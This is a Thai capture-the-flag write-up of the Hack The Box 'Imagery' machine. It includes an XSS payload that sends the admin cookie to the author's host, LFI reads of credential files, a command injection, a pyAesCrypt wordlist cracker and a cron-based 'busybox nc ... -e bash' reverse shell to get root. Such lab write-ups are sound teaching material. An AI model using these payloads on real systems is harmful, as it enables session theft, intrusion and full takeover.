[HTB Imagery write up]

Linux boot to root machine

Alt text ใช้ nmap เพื่อสแกนหา port ที่เปิดอยู่ของ IP นี้

┌──(kali㉿kali)-[~/Downloads/HTB/Imagery]
└─$ nmap -sC -sV -T5 10.10.11.88
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 09:29 +07
Nmap scan report for 10.10.11.88
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.63 seconds

มี port 8000 ที่ service เป็น http เปิดอยู่เลยเข้าไปที่ url http://10.10.11.88:8000 Alt text จากนั้นทำการ register และ login เข้าไปด้วย username และ password ที่เราพึ่งสมัครไป Alt text Alt text หลังจากเข้ามาจะมีอยู่ 2 หน้าหลักๆคือ Gallery และ Upload ซึ่งผมก็ได้ลองอัปโหลด webshell หรือพยายาม bypass ด้วยท่าต่างๆแล้วก็ไม่ได้ ผ่านไปซักพักผมก็ได้เห็น Alt text Alt text ซึ่งหน้านี้ก็จำเป็นที่จะต้อง login ก่อนจึงจะเข้ามาได้ ในหน้าที่มันจะทำการส่ง report bug ไปที่หน้าของ admin panel ซึ่งถ้าลองดูที่ view page source Alt text จะเห็นว่าตัวของ report.detail ที่ส่งไปให้ admin มันใส่ report.details ลงใน innerHTML โดยไม่ sanitize ทำให้สามารถใช้ช่องโหว่ XSS ได้ ซึ่งท่าที่ผมจะใช้คือใช้ XSS ขโมย cookies ของ admin เริ่มโดยทำการเปิด server ไว้ที่เครื่องเรา

┌──(kali㉿kali)-[~/Downloads/HTB/Imagery]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

จากนั้นในหน้า report bug ก็ใช้ใส่ payload สำหรับขโมย cookie ของ admin และให้ส่งกลับไปที่ server ที่เราเปิดไว้ โดย payload ของผมคือ

<img src=x onerror="
  fetch('/admin/users').then(r=>r.text()).then(t=>{
    fetch('http://10.10.14.27/?d='+encodeURIComponent(document.cookie+'||'+t))
  })
">

หลังจากกดส่ง bug report ไปแล้วก็ให้รอ bot กดเข้ามาในหน้าที่มี payload ที่เราส่งไป Alt text ให้ทำการนำข้อความที่ได้ไป decode ด้วย url decode Alt text จะได้ cookie ของ admin มาแล้วให้ทำการใช้ cookie เพื่อกลายเป็น admin Alt text หลังจากเข้ามาในหน้า admin แล้วเราจะเห็นว่ามีอีก user นึงที่เป็น domain ของ โจทย์ คือ testuser@imagery.htb และจะเห็นว่ามันมีให้กด download ตัวของ Log ของ user นั้นๆซึ่งผมลองโหลดของ testuser มาแล้วแต่ก็ไม่ได้มีอะไร แต่ที่น่าสนใจคือ Alt text ตอนเรากด download มันไปอ่านไฟล์นั้นๆแล้วนำมาแสดงให้เรา ผมเลยลองเปลี่ยนเป็นไฟล์ /etc/passwd เพื่อเช็คว่าสามารถทำ LFI ได้มั้ย Alt text จะเห็นว่ามันอ่านไฟล์ /etc/passwd ได้ซึ่งแผนต่อไปก็คือใช้ช่องโหว่ LFI เพื่อหา password ของ testuser ซึ่งถ้ายังจำได้จากผล nmap เราจะรู้ว่าในเว็บนี้ใช้ server python ผมเลยจะทำการอ่านไฟล์ที่น่าจะมีในเครื่องที่รันด้วย server python ซึ่งผมก็ให้ ChatGPT list มาให้ Alt text ซึ่งจากรูปผมทำการไปดูที่ไฟล์ config.py และได้เจอว่ามันมีไฟล์ db.json อยู่เลยทำการอ่านไฟล์ db.json ต่อ Alt text ซึ่งจะทำให้เราได้ hash password ของ testuser มาผมเลยนำ hash ที่ได้ไปเข้า crackstation Alt text จะได้ password เป็น iambatman จากนั้นก็ให้ทำการ login เข้าไปที่ testuser ด้วย credential ที่เราได้มา หลังจากเข้ามาแล้วผมก็ได้ลองอัปโหลดรูปลงไป และมาที่หน้า gallery และกดตรงจุด 3 จุดดู Alt text จะเห็นว่าใน testuser นี้สามารถที่จะทำการแก้ไขรูปภาพได้ (ผมลืมบอกไปในหน้า admin หรือว่า user ที่เราสมัครเองก็ไม่สามารถทำได้ปกติมันทำได้แค่ Download กับ Delete) ซึ่งจุดนี้น่าจะมีช่องโหว่ให้เราทำได้ ผมเลยใช้ช่องโหว่ LFI เพื่อหาไฟล์ source code ที่เกี่ยวกับฟังก์ชันเหล่านี้ Alt text ซึ่งจากไฟล์ app.py เราจะเห็นว่ามันมีโค้ด api ต่างๆอยู่ซึ่งผมเดาว่า code สำหรับจัดการกับการแก้ไขรูปภาพน่าจะอยู่ในไฟล์ api_edit.py ผมเลยทำการอ่านไฟล์ api_edit.py ต่อ Alt text ผมเลยลองทำการโยนโค้ดนี้ให้ ChatGPT เพื่อดูว่ามีช่องโหว่อะไรมั้ย Alt text จากที่ ChatGPT บอกมาคือโค้ดนี้มันมีช่องโหว่ Command Injection ในฟังก์ชัน crop รูปภาพ Alt text ซึ่งในหน้า crop มันจะมีให้เราใส่ตัวแปรอยู่ 4 ตัวคือ x,y,width และ height ซึ่งตัวแปรสี่ตัวนี้แหละสามารถทำ command injection ได้ ผมเลยทำการดักด้วย burp และลองใส่ command สำหรับ reverse shell ดู โดยในเครื่องเราก็เปิด listener ไว้รอ

┌──(kali㉿kali)-[~/Downloads/HTB/Imagery]
└─$ nc -lvnp 9001               
listening on [any] 9001 ...

จากนั้นใน burp ให้ใส่ command สำหรับ reverse shell Alt text โดยให้ทำการใส่ " " ครอบข้อความด้วยเนื่องจากถ้าเราไม่ใส่ตัว server จะไม่ให้เราส่งเนื่องจาก default มันเป็น int จึงต้องใส่ " " ครอบเพื่อให้กลายเป็น string จึงจะสามารถส่งไปได้ หลังจากกดส่งแล้วให้กลับมาดูที่ listener ที่เราเปิดไว้ Alt text ทำการดูในหน้า home ว่าในเครื่องนี้มี user ใดบ้าง Alt text จะเห็นว่ามี user mark ดังนั้นตอนนี้เราต้องหา password ของ mark ให้ได้ หลังจากการหาจนตาแตกอย่างยาวนานผมก็ไปเจอไฟล์ที่ถูกเข้ารหัสไว้อยู่ที่ path /var/backup มันมีไฟล์ web_20250806_120723.zip.aes อยู่ผมจึง deploy ไฟล์นี้มาไว้ที่เครื่องผม และทำการ crack หา password ด้วย rockyou.txt โดยผมให้ ChatGPT เขียนโค้ด python สำหรับ crack ให้

import pyAesCrypt
import os
import sys
import time

INPUT_FILE = "web_20250806_120723.zip.aes"   # ปรับให้ตรง path ของคุณ
OUTPUT_FILE = "web_20250806_120723_recovered.zip"  # จะถูกทับ
ROCKYOU = "/usr/share/wordlists/rockyou.txt"   # ปรับ path ให้ตรง
BUFFER_SIZE = 64 * 1024

def try_password(password):
    # ลองถอดและถ้าไม่สำเร็จให้ลบไฟล์ผลลัพธ์ที่อาจเกิดขึ้น
    try:
        pyAesCrypt.decryptFile(INPUT_FILE, OUTPUT_FILE, password, BUFFER_SIZE)
        # ถ้าไม่มี exception แปลว่าอาจสำเร็จ -> ตรวจความสมเหตุสมผล
        # ตรวจขนาดไฟล์ output ว่าไม่เป็น 0 และเป็น zip (magic bytes)
        if os.path.exists(OUTPUT_FILE) and os.path.getsize(OUTPUT_FILE) > 4:
            with open(OUTPUT_FILE, "rb") as f:
                sig = f.read(4)
            # ZIP file signatures: PK..\x03\x04 or PK..\x05\x06, etc.
            if sig.startswith(b"PK"):
                return True
        # ถ้าไม่ใช่ zip ให้ลบทิ้งเพื่อไม่เปลืองที่
        try:
            os.remove(OUTPUT_FILE)
        except OSError:
            pass
        return False
    except Exception as e:
        # pyAesCrypt จะโยน exception ทั่วไปเมื่อเดารหัสผิด
        # ลบทิ้งไฟล์ output หากมี
        try:
            if os.path.exists(OUTPUT_FILE):
                os.remove(OUTPUT_FILE)
        except OSError:
            pass
        return False

def main():
    if not os.path.exists(INPUT_FILE):
        print("ไม่พบ INPUT_FILE:", INPUT_FILE)
        sys.exit(1)
    if not os.path.exists(ROCKYOU):
        print("ไม่พบ ROCKYOU wordlist:", ROCKYOU)
        sys.exit(1)

    total = 0
    start = time.time()
    with open(ROCKYOU, "r", encoding="latin-1", errors="ignore") as f:
        for line in f:
            pw = line.rstrip("\n")
            if not pw:
                continue
            total += 1
            if total % 1000 == 0:
                elapsed = time.time() - start
                print(f"ลองไปแล้ว {total} รหัส — เวลา {int(elapsed)}s — ปัจจุบัน: {pw}", flush=True)
            try:
                ok = try_password(pw)
            except MemoryError:
                print("MemoryError เกิดขึ้น — เครื่องอาจมี RAM น้อยมาก ลองปิดโปรแกรมอื่นหรือเพิ่ม swap/RAM")
                sys.exit(2)
            if ok:
                elapsed = time.time() - start
                print("FOUND PASSWORD:", pw)
                print(f"Elapsed: {int(elapsed)}s, tried: {total}")
                print("ไฟล์ที่ถอดได้อยู่ที่:", OUTPUT_FILE)
                return
    print("จบการลอง — ไม่พบรหัสใน wordlist (หรือยังไม่สำเร็จ)")

if __name__ == "__main__":
    main()

จากนั้นก็ทำการรันโค้ดนี้เพื่อทำการ crack ได้เลย Alt text หลังจาก crack รหัสได้แล้วก็จะได้ไฟล์ .zip มาก็ให้ทำการแตกไฟล์ หลังจากเข้าไปดูเนื้อหาข้างในจะทำให้เราเจอกับไฟล์ backup ของเว็บนี้ให้เข้าไปดูในไฟล์ db.json Alt text จะมี hash password ของ mark อยู่ให้นำไปเข้า crackstation เพื่อทำการถอดรหัส Alt text จะได้ password เป็น supersmash ให้ จากนั้นกลับมาที่ shell ของ web server ให้ทำการเปลี่ยน user เป็น mark ด้วยคำสั่ง su mark และใส่ password ที่เราได้มา Alt text ได้ user flag แล้วววววว ต่อไปให้ใช้คำสั่ง sudo -l เพื่อดูว่า user mark สามารถใช้สิทธิ์ root กับอะไรได้บ้าง Alt text จะเห็นว่าสามารถรัน charcol ได้ด้วยสิทธิ์ root เลยลองรันดูว่ามันคืออะไร Alt text ซึ่งเราจะรู้ว่ามันคือ tool สำหรับการสร้างไฟล์ zip backup ที่เข้ารหัส โดยมันสามารถเปิด shell ได้แต่มันติด passphrase ดังนั้นเราจึงต้องทำการใช้คำสั่ง sudo charcol -R ก่อนเพื่อ reset password เป็น no password แล้วค่อยเข้า shell Alt text หลังจากเข้า shell มาแล้วก็ใช้คำสั่ง help ดูว่ามันใช้งานยังไง

Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

ซึ่งจาก help จะได้ว่าฟังก์ชัน auto add ของ Charcol จะสามารถสร้าง cron job ได้ตามต้องการ โดยต้องระบุ --schedule และ --command ให้ถูกต้อง จากนั้นก็ใช้คำสั่งนี้เพื่อสร้าง job ใหม่ให้มันรันทุกๆนาที โดยคำสั่งของผมก็คือให้ reverse shell ไปที่เครื่องของผม

auto add --schedule "* * * * *" --command "busybox nc 10.10.14.27 1337 -e bash" --name "root_shell" --log-output /tmp/root_shell.log

โดยในอีกแท็บนึงก็ทำการเปิด port ไว้รอ

┌──(kali㉿kali)-[~/Downloads/HTB/Imagery]
└─$ nc -lvnp 1337
listening on [any] 1337 ...

จากนั้นรันคำสั่ง Alt text จากรูปคือหลังจากรันคำสั่ง reverse shell แล้วก็ใช้คำสั่ง auto list เพื่อดูว่ามี job เรามั้ยจากนั้นรอสักพักแล้วไปดูหน้าที่เราทำการเปิด port รอไว้ Alt text เย้ได้ root flag แล้ววว 🥳


ก็จบไปแล้วนะครับสำหรับข้อ imagery ซึ่งข้อนี้เป็นข้อ medium ที่ไม่ยากจนเกินไปถึงจะไม่ได้มี cve ตรงๆให้ยิงแต่ท่าที่ใช้แต่ละอันก็ถือว่าไม่ซับซ้อนและเข้าใจง่ายครับ ซึ่งเครื่องนี้ก็เป็นเครื่องที่ 2 ของ season 9 หวังว่าเครื่องต่อไปจะไม่ยากมากนะครับ 😅 งั้นไว้เจอกันใหม่ blog หน้าครับผมขอบคุณทุกท่านที่อ่านจนจบครับ 🤓

[RELATED POSTS]